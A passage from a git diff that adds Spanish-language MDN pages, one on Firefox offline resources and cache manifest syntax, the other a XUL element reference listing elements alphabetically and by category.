+<p>Los archivos de manifiesto deben darse con el tipo MIME <code>text/cache-manifest</code>, y todos los recursos entregados con este tipo MIME deben seguir la sintaxis para un manifiesto de aplicación cache, según se define más abajo. Los manifiestos de cache son archivo de texto con formato 'UTF-8' y pueden, opcionalmente, incluir un carácter BOM. Las líneas nuevas pueden ser representadas por un carácter de nueva linea (U+000A) o por uno de retorno de carro (U+000D) o por ambos caracteres.</p>
+
+<p>La primera línea de un manifiesto cache debe contener la cadena de orden: "CACHE MANIFEST" (con un espacio simple U´0020 entre las dos palabras), seguido por nada, espacios o caracteres de tabulador. Cualquier otro texto en esta línea será ignorado.</p>
+
+<p>El resto del manifiesto debe estar compuesto por ninguna , alguna o todas las líneas siguientes:</p>
+
+<dl>
+ <dt>Línea vacía</dt>
+ <dd>Podemos utilizar líneas vacías (sin nada) o con caracteres de espacio o tabulador.</dd>
+ <dt>Comentario</dt>
+ <dd>Los comentarios son formados por un sólo carácter <strong>"#"</strong>, seguido por nada o con el texto del comentario, si se quiere se puede poner espacio/s antes (por ejemplo: <code> # Aquí va mi comentario </code>). Los comentarios sólo se pueden escribir en sus propias líneas y no se pueden añadir en otras líneas.</dd>
+ <dt>Cabecera de sección</dt>
+ <dd>Las cabeceras de sección especifican qué sección del manifiesto se está manipulando. Hay tres posibles cabeceras de sección:</dd>
+</dl>
+
+<blockquote>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Cabecera de sección</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td><code>CACHE:</code></td>
+   <td>Pasa a la sección explícita. Esta es la sección por defecto.</td>
+  </tr>
+  <tr>
+   <td><code>FALLBACK:</code></td>
+   <td>Pasa a la sección de recuperación ("fallback").
+    <p>{{ Note("Esta sección no está aún implementada en Firefox y será ignorada.") }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>NETWORK:</code></td>
+   <td>Pasa a la sección de la lista blanca en línea.
+    <p>{{ Note("La sección de lista blanca en línea, no está aún implementada en Firefox y será ignorada, sin embargo, suministrar una lista blanca apropiada está fuertemente recomendado.") }}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</blockquote>
+
+<dl>
+ <dd>La línea de cabecera de sección puede contener espacios vacíos, pero es obligatorio incluir el carácter <strong>":"</strong> después del nombre.</dd>
+ <dt>Datos para la sección activa.</dt>
+ <dd>El formato de las líneas de datos cambia de sección a sección. En la sección explícita, cada línea es una URI válida o referencia IRI a un recurso del cache. Los espacios vacíos están permitidos antes y después de la URI o IRI en cada línea.</dd>
+</dl>
+
+<p>El manifiesto puede pasar de atrás a delante de sección a sección como quiere (de modo que cada cabecera de sección se puede usar más de una vez) y las secciones pueden estar vacías. {{ Note("Las URI relativas son relativas a la URI del manifiesto del cache, no a la URI del documento que referencia el manifiesto.") }}</p>
+
+<h4 id="Un_manifiesto_de_ejemplo" name="Un_manifiesto_de_ejemplo">Un manifiesto de ejemplo</h4>
+
+<p>Este es un manifiesto simple para una página web imaginaria cuyo sitio es <span class="nowiki">foo.com</span>.</p>
+
+<pre class="eval">CACHE MANIFEST
+# v1
+# Esto es un comentario.
+<span class="nowiki">http://www.foo.com/index.html</span>
+<span class="nowiki">http://www.foo.com/header.png</span>
+<span class="nowiki">http://www.foo.com/blah/blah</span>
+</pre>
+
+<p>En este ejemplo, no hay cabecera de sección, por lo que se considera que todas las líneas de datos están en la sección explícita.</p>
+
+<p>El comentario "v1" está ahí por una buena razón. Ya que el cache es actualizado sólo cuando el manifiesto cambia, si cambia el recurso (por ejemplo, actualizando la imagen <code>header.png</code> con nuevo contenido), el archivo del manifiesto debe modificarse para advertir el navegador que necesita refrescar el cache. Se puede hacer con cualquier truco en el manifiesto, pero tener un número de versión es una buena forma de hacerlo.</p>
+
+<p>Para indicar a Firefox que use aplicaciones en modo desconectado (almacenadas en el cache) para un sitio determinado, el sitio debe utilizar el atributo <code>manifest</code> en el elemento <code>html</code>, de forma parecida a:</p>
+
+<pre class="eval"><span class="nowiki">&lt;html manifest="http://www.foo.com/cache-manifest"&gt;</span>
+  ...
+&lt;/html&gt;
+</pre>
+
+<h3 id="El_proceso_de_actualizaci.C3.B3n" name="El_proceso_de_actualizaci.C3.B3n">El proceso de actualización</h3>
+
+<ol>
+ <li>Cuando Firefox visita un documento que incluye el atributo <code>manifest</code>, envía un evento <code>checking</code> al objeto <code><a href="es/DOM/window.applicationCache">window.applicationCache</a></code>, y a continuación recupera el archivo del manifiesto, siguiendo las reglas HTTP apropiadas. Si la copia actualmente en cache del manifiesto está al día, se envía el evento <code>noupdate</code> a la <code>applicationCache</code>, y el proceso de actualización está completado.</li>
+ <li>Si el archivo del manifiesto no ha cambiado desde la última actualización, de nuevo, se envía el evento <code>noupdate</code> a la <code>applicationCache</code>, y el proceso de actualización está completado. Esta es la razón por la que, si los recursos cambian, el archivo del manifiesto debe modificarse para que Firefox sepa que necesita refrescar la cache de recursos.</li>
+ <li>Si el manifiesto ha cambiado, todos los archivos en el manifiesto -- así como aquellos agregados al manifiesto mediante la llamada a <code><a href="es/NsIDOMOfflineResourceList#add.28.29">applicationCache.add()</a></code> -- son agregados al cache temporal, siguiendo las reglas apropiadas de HTTP. Para cada archivo agregado a la cache, se envía un evento <code>progress</code> al objeto <code>applicationCache</code>. Si ocurre algún error, se envía un evento <code>error</code> y se detiene la actualización.</li>
+ <li>Una vez que se han recuperado todos los archivos, son movidos al cache real y se envía un evento <code>cached</code> al objeto <code>applicationCache</code>.</li>
+</ol>
+
+<h3 id="Caracter.C3.ADsticas_a.C3.BAn_sin_implementar_en_Firefox" name="Caracter.C3.ADsticas_a.C3.BAn_sin_implementar_en_Firefox">Características aún sin implementar en Firefox</h3>
+
+<p>Debido a que el borrador estándar para HTML 5 estaba aún cambiando cuando llegamos a la fecha de congelación de características de Firefox 3, hay partes de las capacidades en modo desconectado que no han sido implementadas:</p>
+
+<ol>
+ <li>La especificación del WHATWG indica que todas las peticiones deben venir de la copia cache desconectada, cuando es posible, aún cuando el navegador esté conectado. Firefox sólo accede a la copia cache desconectada, cuando el navegador no está conectado. Por esta razón, la lista blanca tampoco está aún funcionando.</li>
+ <li>Firefox no mantiene actualmente copias cache separadas para las distintas aplicaciones. Las aplicaciones deberían evitar compartir recursos entre diferentes manifiestos, a no ser que no produzcan conflicto entre diferentes versiones de los recursos. En general, las aplicaciones deberían mantener copias separadas de cada recurso.</li>
+ <li>Firefox no gestiona aún entradas de recuperación o de oportunidad.</li>
+</ol>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2008/WD-html5-20080122/#appcache">HTML 5 working draft: Application caches</a></li>
+ <li>{{ Interface("nsIDOMOfflineResourceList") }}</li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Offline_resources_in_Firefox", "fr": "fr/Ressources_hors_ligne_dans_Firefox", "ja": "ja/Offline_resources_in_Firefox", "pl": "pl/Zasoby_offline_w_Firefoksie", "zh-tw": "zh_tw/Offline_resources_on_Firefox" } ) }}</p>
diff --git a/files/es/referencia_de_xul/index.html b/files/es/referencia_de_xul/index.html
new file mode 100644
index 0000000000..9cab79c0e8
--- /dev/null
+++ b/files/es/referencia_de_xul/index.html
@@ -0,0 +1,317 @@
+---
+title: Referencia de XUL
+slug: Referencia_de_XUL
+---
+<p>« <a href="/es/docs/XUL" title="es/XUL">Referencia de XUL</a> «</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th colspan="3">Todos los elementos XUL (ordenados alfabéticamente)</th>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/en/XUL/action" title="en/XUL/action">action</a><br>
+     <a href="/en/XUL/arrowscrollbox" title="en/XUL/arrowscrollbox">arrowscrollbox</a><br>
+     <a href="/en/XUL/assign" title="en/XUL/assign">assign</a><br>
+     <a href="/en/XUL/bbox" title="en/XUL/bbox">bbox</a><br>
+     <a href="/en/XUL/binding" title="en/XUL/binding">binding</a><br>
+     <a href="/en/XUL/bindings" title="en/XUL/bindings">bindings</a><br>
+     <a href="/en/XUL/box" title="en/XUL/box">box</a><br>
+     <a href="/en/XUL/broadcaster" title="en/XUL/broadcaster">broadcaster</a><br>
+     <a href="/en/XUL/broadcasterset" title="en/XUL/broadcasterset">broadcasterset</a><br>
+     <a href="/en/XUL/button" title="en/XUL/button">button</a><br>
+     <a href="/en/XUL/browser" title="en/XUL/browser">browser</a><br>
+     <a href="/en/XUL/checkbox" title="en/XUL/checkbox">checkbox</a><br>
+     <a href="/en/XUL/caption" title="en/XUL/caption">caption</a><br>
+     <a href="/en/XUL/colorpicker" title="en/XUL/colorpicker">colorpicker</a><br>
+     <a href="/en/XUL/column" title="en/XUL/column">column</a><br>
+     <a href="/en/XUL/columns" title="en/XUL/columns">columns</a><br>
+     <a href="/en/XUL/commandset" title="en/XUL/commandset">commandset</a><br>
+     <a href="/en/XUL/command" title="en/XUL/command">command</a><br>
+     <a href="/en/XUL/conditions" title="en/XUL/conditions">conditions</a><br>
+     <a href="/en/XUL/content" title="en/XUL/content">content</a><br>
+     <a href="/en/XUL/datepicker" title="en/XUL/datepicker">datepicker</a><br>
+     <a href="/en/XUL/deck" title="en/XUL/deck">deck</a><br>
+     <a href="/en/XUL/description" title="en/XUL/description">description</a><br>
+     <a href="/en/XUL/dialog" title="en/XUL/dialog">dialog</a><br>
+     <a href="/en/XUL/dialogheader" title="en/XUL/dialogheader">dialogheader</a><br>
+     <a href="/en/XUL/dropmarker" title="en/XUL/dropmarker">dropmarker</a><br>
+     <a href="/en/XUL/editor" title="en/XUL/editor">editor</a><br>
+     <a href="/en/XUL/grid" title="en/XUL/grid">grid</a><br>
+     <a href="/en/XUL/grippy" title="en/XUL/grippy">grippy</a><br>
+     <a href="/en/XUL/groupbox" title="en/XUL/groupbox">groupbox</a><br>
+     <a href="/en/XUL/hbox" title="en/XUL/hbox">hbox</a><br>
+     <a href="/en/XUL/iframe" title="en/XUL/iframe">iframe</a><br>
+     <a href="/en/XUL/image" title="en/XUL/image">image</a><br>
+     <a href="/en/XUL/key" title="en/XUL/key">key</a><br>
+     <a href="/en/XUL/keyset" title="en/XUL/keyset">keyset</a><br>
+     <a href="/en/XUL/label" title="en/XUL/label">label</a><br>
+     <a href="/en/XUL/listbox" title="en/XUL/listbox">listbox</a><br>
+     <a href="/en/XUL/listcell" title="en/XUL/listcell">listcell</a><br>
+     <a href="/en/XUL/listcol" title="en/XUL/listcol">listcol</a><br>
+     <a href="/en/XUL/listcols" title="en/XUL/listcols">listcols</a><br>
+     <a href="/en/XUL/listhead" title="en/XUL/listhead">listhead</a><br>
+     <a href="/en/XUL/listheader" title="en/XUL/listheader">listheader</a><br>
+     <a href="/en/XUL/listitem" title="en/XUL/listitem">listitem</a></p>
+   </td>
+   <td>
+    <p><a href="/en/XUL/member" title="en/XUL/member">member</a><br>
+     <a href="/en/XUL/menu" title="en/XUL/menu">menu</a><br>
+     <a href="/en/XUL/menubar" title="en/XUL/menubar">menubar</a><br>
+     <a href="/en/XUL/menuitem" title="en/XUL/menuitem">menuitem</a><br>
+     <a href="/en/XUL/menulist" title="en/XUL/menulist">menulist</a><br>
+     <a href="/en/XUL/menupopup" title="en/XUL/menupopup">menupopup</a><br>
+     <a href="/en/XUL/menuseparator" title="en/XUL/menuseparator">menuseparator</a><br>
+     <a href="/en/XUL/notification" title="en/XUL/notification">notification</a><br>
+     <a href="/en/XUL/notificationbox" title="en/XUL/notificationbox">notificationbox</a><br>
+     <a href="/en/XUL/observes" title="en/XUL/observes">observes</a><br>
+     <a href="/en/XUL/overlay" title="en/XUL/overlay">overlay</a><br>
+     <a href="/en/XUL/page" title="en/XUL/page">page</a><br>
+     <a href="/en/XUL/panel" title="en/XUL/panel">panel</a><br>
+     <a href="/en/XUL/param" title="en/XUL/param">param</a><br>
+     <a href="/en/XUL/popupset" title="en/XUL/popupset">popupset</a><br>
+     <a href="/en/XUL/preference" title="en/XUL/preference">preference</a><br>
+     <a href="/en/XUL/preferences" title="en/XUL/preferences">preferences</a><br>
+     <a href="/en/XUL/prefpane" title="en/XUL/prefpane">prefpane</a><br>
+     <a href="/en/XUL/prefwindow" title="en/XUL/prefwindow">prefwindow</a><br>
+     <a href="/en/XUL/progressmeter" title="en/XUL/progressmeter">progressmeter</a><br>
+     <a href="/en/XUL/query" title="en/XUL/query">query</a><br>
+     <a href="/en/XUL/queryset" title="en/XUL/queryset">queryset</a><br>
+     <a href="/en/XUL/radio" title="en/XUL/radio">radio</a><br>
+     <a href="/en/XUL/radiogroup" title="en/XUL/radiogroup">radiogroup</a><br>
+     <a href="/en/XUL/resizer" title="en/XUL/resizer">resizer</a><br>
+     <a href="/en/XUL/richlistbox" title="en/XUL/richlistbox">richlistbox</a><br>
+     <a href="/en/XUL/richlistitem" title="en/XUL/richlistitem">richlistitem</a><br>
+     <a href="/en/XUL/row" title="en/XUL/row">row</a><br>
+     <a href="/en/XUL/rows" title="en/XUL/rows">rows</a><br>
+     <a href="/en/XUL/rule" title="en/XUL/rule">rule</a><br>
+     <a href="/en/XUL/scale" title="en/XUL/scale">scale</a><br>
+     <a href="/en/XUL/script" title="en/XUL/script">script</a><br>
+     <a href="/en/XUL/scrollbar" title="en/XUL/scrollbar">scrollbar</a><br>
+     <a href="/en/XUL/scrollbox" title="en/XUL/scrollbox">scrollbox</a><br>
+     <a href="/en/XUL/scrollcorner" title="en/XUL/scrollcorner">scrollcorner</a><br>
+     <a href="/en/XUL/separator" title="en/XUL/separator">separator</a><br>
+     <a href="/en/XUL/spacer" title="en/XUL/spacer">spacer</a><br>
+     <a href="/en/XUL/spinbuttons" title="en/XUL/spinbuttons">spinbuttons</a><br>
+     <a href="/en/XUL/splitter" title="en/XUL/splitter">splitter</a><br>
+     <a href="/en/XUL/stack" title="en/XUL/stack">stack</a><br>
+     <a href="/en/XUL/statusbar" title="en/XUL/statusbar">statusbar</a></p>
+   </td>
+   <td>
+    <p><a href="/en/XUL/statusbarpanel" title="en/XUL/statusbarpanel">statusbarpanel</a><br>
+     <a href="/en/XUL/stringbundle" title="en/XUL/stringbundle">stringbundle</a><br>
+     <a href="/en/XUL/stringbundleset" title="en/XUL/stringbundleset">stringbundleset</a><br>
+     <a href="/en/XUL/tab" title="en/XUL/tab">tab</a><br>
+     <a href="/en/XUL/tabbrowser" title="en/XUL/tabbrowser">tabbrowser</a> (Firefox-a partir de<br>
+     Firefox 3/Gecko 1.9)<br>
+     <a href="/en/XUL/tabbox" title="en/XUL/tabbox">tabbox</a><br>
+     <a href="/en/XUL/tabpanel" title="en/XUL/tabpanel">tabpanel</a><br>
+     <a href="/en/XUL/tabpanels" title="en/XUL/tabpanels">tabpanels</a><br>
+     <a href="/en/XUL/tabs" title="en/XUL/tabs">tabs</a><br>
+     <a href="/en/XUL/template" title="en/XUL/template">template</a><br>
+     <a href="/en/XUL/textnode" title="en/XUL/textnode">textnode</a><br>
+     <a href="/en/XUL/textbox" title="en/XUL/textbox">textbox</a><br>
+     <a href="/en/XUL/textbox_(Firefox_autocomplete)" title="en/XUL/textbox_(Firefox_autocomplete)">textbox (Firefox autocomplete)</a><br>
+     <a href="/en/XUL/textbox_(Mozilla_autocomplete)" title="en/XUL/textbox_(Mozilla_autocomplete)">textbox (Mozilla autocomplete)</a><br>
+     <a href="/en/XUL/timepicker" title="en/XUL/timepicker">timepicker</a><br>
+     <a href="/en/XUL/titlebar" title="en/XUL/titlebar">titlebar</a><br>
+     <a href="/en/XUL/toolbar" title="en/XUL/toolbar">toolbar</a><br>
+     <a href="/en/XUL/toolbarbutton" title="en/XUL/toolbarbutton">toolbarbutton</a><br>
+     <a href="/en/XUL/toolbargrippy" title="en/XUL/toolbargrippy">toolbargrippy</a><br>
+     <a href="/en/XUL/toolbaritem" title="en/XUL/toolbaritem">toolbaritem</a><br>
+     <a href="/en/XUL/toolbarpalette" title="en/XUL/toolbarpalette">toolbarpalette</a><br>
+     <a href="/en/XUL/toolbarseparator" title="en/XUL/toolbarseparator">toolbarseparator</a><br>
+     <a href="/en/XUL/toolbarset" title="en/XUL/toolbarset">toolbarset</a><br>
+     <a href="/en/XUL/toolbarspacer" title="en/XUL/toolbarspacer">toolbarspacer</a><br>
+     <a href="/en/XUL/toolbarspring" title="en/XUL/toolbarspring">toolbarspring</a><br>
+     <a href="/en/XUL/toolbox" title="en/XUL/toolbox">toolbox</a><br>
+     <a href="/en/XUL/tooltip" title="en/XUL/tooltip">tooltip</a><br>
+     <a href="/en/XUL/tree" title="en/XUL/tree">tree</a><br>
+     <a href="/en/XUL/treecell" title="en/XUL/treecell">treecell</a><br>
+     <a href="/en/XUL/treechildren" title="en/XUL/treechildren">treechildren</a><br>
+     <a href="/en/XUL/treecol" title="en/XUL/treecol">treecol</a><br>
+     <a href="/en/XUL/treecols" title="en/XUL/treecols">treecols</a><br>
+     <a href="/en/XUL/treeitem" title="en/XUL/treeitem">treeitem</a><br>
+     <a href="/en/XUL/treerow" title="en/XUL/treerow">treerow</a><br>
+     <a href="/en/XUL/treeseparator" title="en/XUL/treeseparator">treeseparator</a><br>
+     <a href="/en/XUL/triple" title="en/XUL/triple">triple</a><br>
+     <a href="/en/XUL/vbox" title="en/XUL/vbox">vbox</a><br>
+     <a href="/en/XUL/where" title="en/XUL/where">where</a><br>
+     <a href="/en/XUL/window" title="en/XUL/window">window</a><br>
+     <a href="/en/XUL/wizard" title="en/XUL/wizard">wizard</a><br>
+     <a href="/en/XUL/wizardpage" title="en/XUL/wizardpage">wizardpage</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h1 id="Referencia_de_XUL">Referencia de XUL</h1>
+<p>« <a href="/es/docs/XUL" title="es/XUL">Referencia de XUL</a> «</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th colspan="3">Elementos XUL por categoría</th>
+  </tr>
+  <tr>
+   <td>
+    <p><u><strong>VENTANAS</strong></u></p>
+    <p><a href="/en/XUL/dialog" title="en/XUL/dialog">dialog</a><br>
+     <a href="/en/XUL/overlay" title="en/XUL/overlay">overlay</a><br>
+     <a href="/en/XUL/page" title="en/XUL/page">page</a><br>
+     <a href="/en/XUL/window" title="en/XUL/window">window</a><br>
+     <a href="/en/XUL/wizard" title="en/XUL/wizard">wizard</a><br>
+     <a href="/en/XUL/wizardpage" title="en/XUL/wizardpage">wizardpage</a><br>
+     <a href="/en/XUL/preference" title="en/XUL/preference">preference</a><br>
+     <a href="/en/XUL/preferences" title="en/XUL/preferences">preferences</a><br>
+     <a href="/en/XUL/prefpane" title="en/XUL/prefpane">prefpane</a><br>
+     <a href="/en/XUL/prefwindow" title="en/XUL/prefwindow">prefwindow</a></p>
+    <p><u><strong>ESTRUCTURA<br>
+     DE VENTANAS</strong></u></p>
+    <p><a href="/en/XUL/browser" title="en/XUL/browser">browser</a><br>
+     <a href="/en/XUL/tabbrowser" title="en/XUL/tabbrowser">tabbrowser</a><br>
+     <a href="/en/XUL/editor" title="en/XUL/editor">editor</a><br>
+     <a href="/en/XUL/iframe" title="en/XUL/iframe">iframe</a><br>
+     <a href="/en/XUL/titlebar" title="en/XUL/titlebar">titlebar</a><br>
+     <a href="/en/XUL/resizer" title="en/XUL/resizer">resizer</a><br>
+     <a href="/en/XUL/statusbar" title="en/XUL/statusbar">statusbar</a><br>
+     <a href="/en/XUL/statusbarpanel" title="en/XUL/statusbarpanel">statusbarpanel</a><br>
+     <a href="/en/XUL/dialogheader" title="en/XUL/dialogheader">dialogheader</a><br>
+     <a href="/en/XUL/notification" title="en/XUL/notification">notification</a><br>
+     <a href="/en/XUL/notificationbox" title="en/XUL/notificationbox">notificationbox</a></p>
+    <p><u><strong>MENUS Y VENTANAS<br>
+     EMERGENTES</strong></u></p>
+    <p><a href="/en/XUL/menubar" title="en/XUL/menubar">menubar</a><br>
+     <a href="/en/XUL/menu" title="en/XUL/menu">menu</a><br>
+     <a href="/en/XUL/menuitem" title="en/XUL/menuitem">menuitem</a><br>
+     <a href="/en/XUL/menuseparator" title="en/XUL/menuseparator">menuseparator</a><br>
+     <a href="/en/XUL/menupopup" title="en/XUL/menupopup">menupopup</a><br>
+     <a href="/en/XUL/panel" title="en/XUL/panel">panel</a><br>
+     <a href="/en/XUL/tooltip" title="en/XUL/tooltip">tooltip</a><br>
+     <a href="/en/XUL/popupset" title="en/XUL/popupset">popupset</a></p>
+    <p><u><strong>BARRAS DE<br>
+     HERRAMIENTAS</strong></u></p>
+    <p><a href="/en/XUL/toolbar" title="en/XUL/toolbar">toolbar</a><br>
+     <a href="/en/XUL/toolbarbutton" title="en/XUL/toolbarbutton">toolbarbutton</a><br>
+     <a href="/en/XUL/toolbargrippy" title="en/XUL/toolbargrippy">toolbargrippy</a><br>
+     <a href="/en/XUL/toolbaritem" title="en/XUL/toolbaritem">toolbaritem</a><br>
+     <a href="/en/XUL/toolbarpalette" title="en/XUL/toolbarpalette">toolbarpalette</a><br>
+     <a href="/en/XUL/toolbarseparator" title="en/XUL/toolbarseparator">toolbarseparator</a><br>
+     <a href="/en/XUL/toolbarset" title="en/XUL/toolbarset">toolbarset</a><br>
+     <a href="/en/XUL/toolbarspacer" title="en/XUL/toolbarspacer">toolbarspacer</a><br>
+     <a href="/en/XUL/toolbarspring" title="en/XUL/toolbarspring">toolbarspring</a><br>
+     <a href="/en/XUL/toolbox" title="en/XUL/toolbox">toolbox</a></p>
+    <p><u><strong>PESTAÑAS Y<br>
+     AGRUPAMIENTO</strong></u></p>
+    <p><a href="/en/XUL/tabbox" title="en/XUL/tabbox">tabbox</a><br>
+     <a href="/en/XUL/tabs" title="en/XUL/tabs">tabs</a><br>
+     <a href="/en/XUL/tab" title="en/XUL/tab">tab</a><br>
+     <a href="/en/XUL/tabpanels" title="en/XUL/tabpanels">tabpanels</a><br>
+     <a href="/en/XUL/tabpanel" title="en/XUL/tabpanel">tabpanel</a><br>
+     <a href="/en/XUL/groupbox" title="en/XUL/groupbox">groupbox</a><br>
+     <a href="/en/XUL/caption" title="en/XUL/caption">caption</a><br>
+     <a href="/en/XUL/separator" title="en/XUL/separator">separator</a><br>
+     <a href="/en/XUL/spacer" title="en/XUL/spacer">spacer</a></p>
+   </td>
+   <td>
+    <p><u><strong>CONTROLES</strong></u></p>
+    <p><a href="/en/XUL/button" title="en/XUL/button">button</a><br>
+     <a href="/en/XUL/checkbox" title="en/XUL/checkbox">checkbox</a><br>
+     <a href="/en/XUL/colorpicker" title="en/XUL/colorpicker">colorpicker</a><br>
+     <a href="/en/XUL/datepicker" title="en/XUL/datepicker">datepicker</a><br>
+     <a href="/en/XUL/menulist" title="en/XUL/menulist">menulist</a><br>
+     <a href="/en/XUL/progressmeter" title="en/XUL/progressmeter">progressmeter</a><br>
+     <a href="/en/XUL/radio" title="en/XUL/radio">radio</a><br>
+     <a href="/en/XUL/radiogroup" title="en/XUL/radiogroup">radiogroup</a><br>
+     <a href="/en/XUL/scale" title="en/XUL/scale">scale</a><br>
+     <a href="/en/XUL/splitter" title="en/XUL/splitter">splitter</a><br>
+     <a href="/en/XUL/textbox" title="en/XUL/textbox">textbox</a><br>
+     <a href="/en/XUL/textbox_(Firefox_autocomplete)" title="en/XUL/textbox_(Firefox_autocomplete)">textbox (Firefox autocomplete)</a><br>
+     <a href="/en/XUL/textbox_(Mozilla_autocomplete)" title="en/XUL/textbox_(Mozilla_autocomplete)">textbox (Mozilla autocomplete)</a><br>
+     <a href="/en/XUL/timepicker" title="en/XUL/timepicker">timepicker</a></p>
+    <p><u><strong>TEXTO E<br>
+     IMAGENES</strong></u></p>
+    <p><a href="/en/XUL/description" title="en/XUL/description">description</a><br>
+     <a href="/en/XUL/label" title="en/XUL/label">label</a><br>
+     <a href="/en/XUL/image" title="en/XUL/image">image</a></p>
+    <p><u><strong>LISTSS</strong></u></p>
+    <p><a href="/en/XUL/listbox" title="en/XUL/listbox">listbox</a><br>
+     <a href="/en/XUL/listitem" title="en/XUL/listitem">listitem</a><br>
+     <a href="/en/XUL/listcell" title="en/XUL/listcell">listcell</a><br>
+     <a href="/en/XUL/listcol" title="en/XUL/listcol">listcol</a><br>
+     <a href="/en/XUL/listcols" title="en/XUL/listcols">listcols</a><br>
+     <a href="/en/XUL/listhead" title="en/XUL/listhead">listhead</a><br>
+     <a href="/en/XUL/listheader" title="en/XUL/listheader">listheader</a><br>
+     <a href="/en/XUL/richlistbox" title="en/XUL/richlistbox">richlistbox</a><br>
+     <a href="/en/XUL/richlistitem" title="en/XUL/richlistitem">richlistitem</a></p>
+    <p><u><strong>ARBOLES</strong></u></p>
+    <p><a href="/en/XUL/tree" title="en/XUL/tree">tree</a><br>
+     <a href="/en/XUL/treecell" title="en/XUL/treecell">treecell</a><br>
+     <a href="/en/XUL/treechildren" title="en/XUL/treechildren">treechildren</a><br>
+     <a href="/en/XUL/treecol" title="en/XUL/treecol">treecol</a><br>
+     <a href="/en/XUL/treecols" title="en/XUL/treecols">treecols</a><br>
+     <a href="/en/XUL/treeitem" title="en/XUL/treeitem">treeitem</a><br>
+     <a href="/en/XUL/treerow" title="en/XUL/treerow">treerow</a><br>
+     <a href="/en/XUL/treeseparator" title="en/XUL/treeseparator">treeseparator</a></p>
+    <p> </p>
+   </td>
+   <td>
+    <p><u><strong>DISPOSICION</strong></u></p>
+    <p><a href="/en/XUL/box" title="en/XUL/box">box</a><br>
+     <a href="/en/XUL/hbox" title="en/XUL/hbox">hbox</a><br>
+     <a href="/en/XUL/vbox" title="en/XUL/vbox">vbox</a><br>
+     <a href="/en/XUL/bbox" title="en/XUL/bbox">bbox</a><br>
+     <a href="/en/XUL/deck" title="en/XUL/deck">deck</a><br>
+     <a href="/en/XUL/stack" title="en/XUL/stack">stack</a><br>
+     <a href="/en/XUL/grid" title="en/XUL/grid">grid</a><br>
+     <a href="/en/XUL/columns" title="en/XUL/columns">columns</a><br>
+     <a href="/en/XUL/column" title="en/XUL/column">column</a><br>
+     <a href="/en/XUL/rows" title="en/XUL/rows">rows</a><br>
+     <a href="/en/XUL/row" title="en/XUL/row">row</a><br>
+     <a href="/en/XUL/scrollbox" title="en/XUL/scrollbox">scrollbox</a></p>
+    <p><u><strong>PLANTILLAS</strong></u></p>
+    <p><a href="/en/XUL/action" title="en/XUL/action">action</a><br>
+     <a href="/en/XUL/assign" title="en/XUL/assign">assign</a><br>
+     <a href="/en/XUL/binding" title="en/XUL/binding">binding</a><br>
+     <a href="/en/XUL/bindings" title="en/XUL/bindings">bindings</a><br>
+     <a href="/en/XUL/conditions" title="en/XUL/conditions">conditions</a><br>
+     <a href="/en/XUL/content" title="en/XUL/content">content</a><br>
+     <a href="/en/XUL/member" title="en/XUL/member">member</a><br>
+     <a href="/en/XUL/param" title="en/XUL/param">param</a><br>
+     <a href="/en/XUL/query" title="en/XUL/query">query</a><br>
+     <a href="/en/XUL/queryset" title="en/XUL/queryset">queryset</a><br>
+     <a href="/en/XUL/rule" title="en/XUL/rule">rule</a><br>
+     <a href="/en/XUL/template" title="en/XUL/template">template</a><br>
+     <a href="/en/XUL/textnode" title="en/XUL/textnode">textnode</a><br>
+     <a href="/en/XUL/triple" title="en/XUL/triple">triple</a><br>
+     <a href="/en/XUL/where" title="en/XUL/where">where</a></p>
+    <p><u><strong>SCRIPTING</strong></u></p>
+    <p><a href="/en/XUL/script" title="en/XUL/script">script</a><br>
+     <a href="/en/XUL/commandset" title="en/XUL/commandset">commandset</a><br>
+     <a href="/en/XUL/command" title="en/XUL/command">command</a><br>
+     <a href="/en/XUL/broadcaster" title="en/XUL/broadcaster">broadcaster</a><br>
+     <a href="/en/XUL/broadcasterset" title="en/XUL/broadcasterset">broadcasterset</a><br>
+     <a href="/en/XUL/observes" title="en/XUL/observes">observes</a><br>
+     <a href="/en/XUL/key" title="en/XUL/key">key</a><br>
+     <a href="/en/XUL/keyset" title="en/XUL/keyset">keyset</a><br>
+     <a href="/en/XUL/stringbundle" title="en/XUL/stringbundle">stringbundle</a><br>
+     <a href="/en/XUL/stringbundleset" title="en/XUL/stringbundleset">stringbundleset</a></p>
+    <p><u><strong>ELEMENTOS DE AYUDA</strong></u></p>
+    <p><a href="/en/XUL/scrollbar" title="en/XUL/scrollbar">arrowscrollbox</a><br>
+     <a href="/en/XUL/dropmarker" title="en/XUL/dropmarker">dropmarker</a><br>
+     <a href="/en/XUL/grippy" title="en/XUL/grippy">grippy</a><br>
+     <a href="/en/XUL/scrollbar" title="en/XUL/scrollbar">scrollbar</a><br>
+     <a href="/en/XUL/scrollcorner" title="en/XUL/scrollcorner">scrollcorner</a><br>
+     <a href="/en/XUL/spinbuttons" title="en/XUL/spinbuttons">spinbuttons</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Other_XUL_lists" name="Other_XUL_lists">Otras listas XUL</h3>
+<ul>
+ <li><a href="/en/XUL/Attribute" title="en/XUL/Attribute">Todos los atributos</a></li>
+ <li><a href="/en/XUL/Property" title="en/XUL/Property">Todas las propiedades</a></li>
+ <li><a href="/en/XUL/Method" title="en/XUL/Method">Todos los métodos</a></li>
+ <li><a href="/en/XUL_element_attributes" title="en/XUL_element_attributes">Atributos definidos por todos los elementos XUL</a></li>
+ <li><a href="/en/XUL/Style" title="en/XUL/Style">Clases de estilos</a></li>
+ <li><a href="/en/XUL/Events" title="en/XUL/Events">Manipuladores de eventos</a></li>
+ <li><a href="/en/XUL/Deprecated//Defunct_Markup" title="en/XUL/Deprecated//Defunct_Markup">Obsoletos/Marcas extintas</a></li>
+</ul>
